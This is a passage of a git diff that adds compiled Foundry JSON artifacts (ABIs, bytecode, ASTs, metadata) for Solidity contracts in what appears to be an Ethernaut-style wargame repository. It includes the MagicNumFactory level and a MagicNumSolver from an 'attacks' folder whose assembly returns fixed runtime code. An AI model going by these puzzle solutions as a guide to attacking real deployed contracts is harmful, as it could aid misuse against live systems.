10"},"value":"10"},"src":"1030:9:94","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53809,"nodeType":"IfStatement","src":"1026:27:94","trueBody":{"expression":{"hexValue":"66616c7365","id":53807,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1048:5:94","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"functionReturnParameters":53771,"id":53808,"nodeType":"Return","src":"1041:12:94"}},{"expression":{"hexValue":"74727565","id":53810,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1071:4:94","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":53771,"id":53811,"nodeType":"Return","src":"1064:11:94"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"381:16:94","overrides":{"id":53768,"nodeType":"OverrideSpecifier","overrides":[],"src":"446:8:94"},"parameters":{"id":53767,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53764,"mutability":"mutable","name":"_instance","nameLocation":"414:9:94","nodeType":"VariableDeclaration","scope":53813,"src":"398:25:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":53763,"name":"address","nodeType":"ElementaryTypeName","src":"398:15:94","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":53766,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53813,"src":"425:7:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53765,"name":"address","nodeType":"ElementaryTypeName","src":"425:7:94","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"397:36:94"},"returnParameters":{"id":53771,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53770,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53813,"src":"464:4:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":53769,"name":"bool","nodeType":"ElementaryTypeName","src":"464:4:94","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"463:6:94"},"scope":53814,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":53744,"name":"Level","nameLocations":["232:5:94"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"232:5:94"},"id":53745,"nodeType":"InheritanceSpecifier","src":"232:5:94"}],"canonicalName":"MagicNumFactory","contractDependencies":[53733],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53814,55508,46700,48281],"name":"MagicNumFactory","nameLocation":"213:15:94","scope":53815,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":94} \ No newline at end of file diff --git a/contracts/out/MagicNumSolver.sol/MagicNumSolver.json b/contracts/out/MagicNumSolver.sol/MagicNumSolver.json new file mode 100644 index 000000000..a79e86478 --- /dev/null +++ b/contracts/out/MagicNumSolver.sol/MagicNumSolver.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x6080604052348015600e575f80fd5b5069602a60005260206000f35f52600a6016f3fe","sourceMap":"58:794:51:-:0;;;88:762;;;;;;;;;;780:22;777:1;770:33;829:4;823;816:18","linkReferences":{}},"deployedBytecode":{"object":"0x60806040525f80fdfea26469706673582212200d87af1452f07d32118da00061b174fb5e2f4686e3a8d748094acb437368d64764736f6c63430008180033","sourceMap":"58:794:51:-:0;;;;;","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/MagicNumSolver.sol\":\"MagicNumSolver\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/MagicNumSolver.sol\":{\"keccak256\":\"0x841263e39394f2bafe7fc2918863b5a564dafd8191fc6e7e96de3bc2ed276398\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d9cd9d8c871ad1292e2b3d2ad47e4354bf76b827ccdd4eb0d0f1b96966707199\",\"dweb:/ipfs/QmfXyKLcJHcJQL59yf4JxbZMPRZoYHpmDb8vXQXm6nYfhx\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/MagicNumSolver.sol":"MagicNumSolver"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/MagicNumSolver.sol":{"keccak256":"0x841263e39394f2bafe7fc2918863b5a564dafd8191fc6e7e96de3bc2ed276398","urls":["bzz-raw://d9cd9d8c871ad1292e2b3d2ad47e4354bf76b827ccdd4eb0d0f1b96966707199","dweb:/ipfs/QmfXyKLcJHcJQL59yf4JxbZMPRZoYHpmDb8vXQXm6nYfhx"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/MagicNumSolver.sol","id":49620,"exportedSymbols":{"MagicNumSolver":[49619]},"nodeType":"SourceUnit","src":"33:820:51","nodes":[{"id":49613,"nodeType":"PragmaDirective","src":"33:23:51","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49619,"nodeType":"ContractDefinition","src":"58:794:51","nodes":[{"id":49618,"nodeType":"FunctionDefinition","src":"88:762:51","nodes":[],"body":{"id":49617,"nodeType":"Block","src":"102:748:51","nodes":[],"statements":[{"AST":{"nativeSrc":"121:723:51","nodeType":"YulBlock","src":"121:723:51","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"777:1:51","nodeType":"YulLiteral","src":"777:1:51","type":"","value":"0"},{"kind":"number","nativeSrc":"780:22:51","nodeType":"YulLiteral","src":"780:22:51","type":"","value":"0x602a60005260206000f3"}],"functionName":{"name":"mstore","nativeSrc":"770:6:51","nodeType":"YulIdentifier","src":"770:6:51"},"nativeSrc":"770:33:51","nodeType":"YulFunctionCall","src":"770:33:51"},"nativeSrc":"770:33:51","nodeType":"YulExpressionStatement","src":"770:33:51"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"823:4:51","nodeType":"YulLiteral","src":"823:4:51","type":"","value":"0x16"},{"kind":"number","nativeSrc":"829:4:51","nodeType":"YulLiteral","src":"829:4:51","type":"","value":"0x0a"}],"functionName":{"name":"return","nativeSrc":"816:6:51","nodeType":"YulIdentifier","src":"816:6:51"},"nativeSrc":"816:18:51","nodeType":"YulFunctionCall","src":"816:18:51"},"nativeSrc":"816:18:51","nodeType":"YulExpressionStatement","src":"816:18:51"}]},"evmVersion":"shanghai","externalReferences":[],"id":49616,"nodeType":"InlineAssembly","src":"112:732:51"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":49614,"nodeType":"ParameterList","parameters":[],"src":"99:2:51"},"returnParameters":{"id":49615,"nodeType":"ParameterList","parameters":[],"src":"102:0:51"},"scope":49619,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"MagicNumSolver","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49619],"name":"MagicNumSolver","nameLocation":"67:14:51","scope":49620,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":51} \ No newline at end of file diff --git a/contracts/out/Manufactured.sol/Manufactured.json b/contracts/out/Manufactured.sol/Manufactured.json new file mode 100644 index 000000000..55d9d3557 --- /dev/null +++ b/contracts/out/Manufactured.sol/Manufactured.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6102498061007a5f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c8063715018a6146100435780638da5cb5b1461004d578063f2fde38b1461006b575b5f80fd5b61004b61007e565b005b5f54604080516001600160a01b039092168252519081900360200190f35b61004b6100793660046101e6565b610091565b610086610126565b61008f5f61017f565b565b610099610126565b6001600160a01b03811661011a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6101238161017f565b50565b5f546001600160a01b0316331461008f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610111565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f602082840312156101f6575f80fd5b81356001600160a01b038116811461020c575f80fd5b939250505056fea2646970667358221220b86dc1707c33acf524ee38da1dedde257b19c5c7da05fc6b6459b042126bb54364736f6c63430008180033","sourceMap":"114:35:52:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;114:35:52;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;114:35:52:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b506004361061003f575f3560e01c8063715018a6146100435780638da5cb5b1461004d578063f2fde38b1461006b575b5f80fd5b61004b61007e565b005b5f54604080516001600160a01b039092168252519081900360200190f35b61004b6100793660046101e6565b610091565b610086610126565b61008f5f61017f565b565b610099610126565b6001600160a01b03811661011a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6101238161017f565b50565b5f546001600160a01b0316331461008f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610111565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f602082840312156101f6575f80fd5b81356001600160a01b038116811461020c575f80fd5b939250505056fea2646970667358221220b86dc1707c33acf524ee38da1dedde257b19c5c7da05fc6b6459b042126bb54364736f6c63430008180033","sourceMap":"114:35:52:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;:::i;:::-;;1201:85;1247:7;1273:6;1201:85;;;-1:-1:-1;;;;;1273:6:23;;;160:74:155;;1201:85:23;;;;;148:2:155;1201:85:23;;;2081:198;;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;2081:198::-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;761:2:155;2161:73:23::1;::::0;::::1;743:21:155::0;800:2;780:18;;;773:30;839:34;819:18;;;812:62;910:8;890:18;;;883:36;936:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;1168:2:155;1414:68:23;;;1150:21:155;;;1187:18;;;1180:30;1246:34;1226:18;;;1219:62;1298:18;;1414:68:23;966:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;245:309:155:-;304:6;357:2;345:9;336:7;332:23;328:32;325:52;;;373:1;370;363:12;325:52;412:9;399:23;-1:-1:-1;;;;;455:5:155;451:54;444:5;441:65;431:93;;520:1;517;510:12;431:93;543:5;245:309;-1:-1:-1;;;245:309:155:o","linkReferences":{}},"methodIdentifiers":{"owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/Manufactured.sol\":\"Manufactured\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/attacks/Manufactured.sol\":{\"keccak256\":\"0xdcdc8bb4a0170a4a015ce38a92483ccc1594c498fdd8f21c4b154f6567f15f87\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://0b37ea5fcc4408f816a252feda3bdc8fc0bdded1781c1719328c784042807f67\",\"dweb:/ipfs/QmPtqNhmnYmvMhzM5xShHo9yLK3BY11Z7MJymff311Udqh\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/Manufactured.sol":"Manufactured"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/attacks/Manufactured.sol":{"keccak256":"0xdcdc8bb4a0170a4a015ce38a92483ccc1594c498fdd8f21c4b154f6567f15f87","urls":["bzz-raw://0b37ea5fcc4408f816a252feda3bdc8fc0bdded1781c1719328c784042807f67","dweb:/ipfs/QmPtqNhmnYmvMhzM5xShHo9yLK3BY11Z7MJymff311Udqh"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/Manufactured.sol","id":49626,"exportedSymbols":{"Context":[48281],"Manufactured":[49625],"Ownable":[46700]},"nodeType":"SourceUnit","src":"33:117:52","nodes":[{"id":49621,"nodeType":"PragmaDirective","src":"33:23:52","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49622,"nodeType":"ImportDirective","src":"58:54:52","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","file":"openzeppelin-contracts-08/access/Ownable.sol","nameLocation":"-1:-1:-1","scope":49626,"sourceUnit":46701,"symbolAliases":[],"unitAlias":""},{"id":49625,"nodeType":"ContractDefinition","src":"114:35:52","nodes":[],"abstract":false,"baseContracts":[{"baseName":{"id":49623,"name":"Ownable","nameLocations":["139:7:52"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"139:7:52"},"id":49624,"nodeType":"InheritanceSpecifier","src":"139:7:52"}],"canonicalName":"Manufactured","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49625,46700,48281],"name":"Manufactured","nameLocation":"123:12:52","scope":49626,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":52} \ No newline at end of file diff --git a/contracts/out/MockERC20.sol/MockERC20.json b/contracts/out/MockERC20.sol/MockERC20.json new file mode 100644 index 000000000..4555e8971 --- /dev/null +++ b/contracts/out/MockERC20.sol/MockERC20.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"DOMAIN_SEPARATOR","inputs":[],"outputs":[{"name":"","type":"bytes32","internalType":"bytes32"}],"stateMutability":"view"},{"type":"function","name":"allowance","inputs":[{"name":"owner","type":"address","internalType":"address"},{"name":"spender","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"approve","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"balanceOf","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint8","internalType":"uint8"}],"stateMutability":"view"},{"type":"function","name":"initialize","inputs":[{"name":"name_","type":"string","internalType":"string"},{"name":"symbol_","type":"string","internalType":"string"},{"name":"decimals_","type":"uint8","internalType":"uint8"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"nonces","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"permit","inputs":[{"name":"owner","type":"address","internalType":"address"},{"name":"spender","type":"address","internalType":"address"},{"name":"value","type":"uint256","internalType":"uint256"},{"name":"deadline","type":"uint256","internalType":"uint256"},{"name":"v","type":"uint8","internalType":"uint8"},{"name":"r","type":"bytes32","internalType":"bytes32"},{"name":"s","type":"bytes32","internalType":"bytes32"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"transfer","inputs":[{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"transferFrom","inputs":[{"name":"from","type":"address","internalType":"address"},{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"Approval","inputs":[{"name":"owner","type":"address","indexed":true,"internalType":"address"},{"name":"spender","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"name":"from","type":"address","indexed":true,"internalType":"address"},{"name":"to","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b50610e6d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106100da575f3560e01c80633644e5151161008857806395d89b411161006357806395d89b41146101bd578063a9059cbb146101c5578063d505accf146101d8578063dd62ed3e146101eb575f80fd5b80633644e5151461016e57806370a08231146101765780637ecebe001461019e575f80fd5b806318160ddd116100b857806318160ddd1461013457806323b872dd14610146578063313ce56714610159575f80fd5b806306fdde03146100de578063095ea7b3146100fc5780631624f6c61461011f575b5f80fd5b6100e6610223565b6040516100f3919061099c565b60405180910390f35b61010f61010a366004610a03565b6102b2565b60405190151581526020016100f3565b61013261012d366004610ad8565b61031e565b005b6003545b6040519081526020016100f3565b61010f610154366004610b47565b6103c6565b60025460405160ff90911681526020016100f3565b6101386104d5565b610138610184366004610b80565b6001600160a01b03165f9081526004602052604090205490565b6101386101ac366004610b80565b60086020525f908152604090205481565b6100e66104fa565b61010f6101d3366004610a03565b610509565b6101326101e6366004610b99565b61059d565b6101386101f9366004610bfe565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b60605f805461023190610c2f565b80601f016020809104026020016040519081016040528092919081815260200182805461025d90610c2f565b80156102a85780601f1061027f576101008083540402835291602001916102a8565b820191905f5260205f20905b81548152906001019060200180831161028b57829003601f168201915b5050505050905090565b335f8181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061030c9086815260200190565b60405180910390a35060015b92915050565b60095460ff16156103765760405162461bcd60e51b815260206004820152601360248201527f414c52454144595f494e495449414c495a45440000000000000000000000000060448201526064015b60405180910390fd5b5f6103818482610cb3565b50600161038e8382610cb3565b506002805460ff191660ff83161790556103a661081f565b6006556103b1610837565b60075550506009805460ff1916600117905550565b6001600160a01b0383165f9081526005602090815260408083203384529091528120545f19811461041f576103fb81846108d8565b6001600160a01b0386165f9081526005602090815260408083203384529091529020555b6001600160a01b0385165f9081526004602052604090205461044190846108d8565b6001600160a01b038087165f90815260046020526040808220939093559086168152205461046f908461093a565b6001600160a01b038086165f8181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104c29087815260200190565b60405180910390a3506001949350505050565b5f6006546104e161081f565b146104f3576104ee610837565b905090565b5060075490565b60606001805461023190610c2f565b335f9081526004602052604081205461052290836108d8565b335f90815260046020526040808220929092556001600160a01b0385168152205461054d908361093a565b6001600160a01b0384165f818152600460205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061030c9086815260200190565b428410156105ed5760405162461bcd60e51b815260206004820152601760248201527f5045524d49545f444541444c494e455f45585049524544000000000000000000604482015260640161036d565b5f60016105f86104d5565b6001600160a01b038a165f90815260086020526040812080547f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9928d928d928d9290919061064583610d87565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810188905260e001604051602081830303815290604052805190602001206040516020016106d99291907f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b60408051601f1981840301815282825280516020918201205f84529083018083525260ff871690820152606081018590526080810184905260a0016020604051602081039080840390855afa158015610734573d5f803e3d5ffd5b5050604051601f1901519150506001600160a01b0381161580159061076a5750876001600160a01b0316816001600160a01b0316145b6107b65760405162461bcd60e51b815260206004820152600e60248201527f494e56414c49445f5349474e4552000000000000000000000000000000000000604482015260640161036d565b6001600160a01b038181165f9081526005602090815260408083208b8516808552908352928190208a90555189815291928b16917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c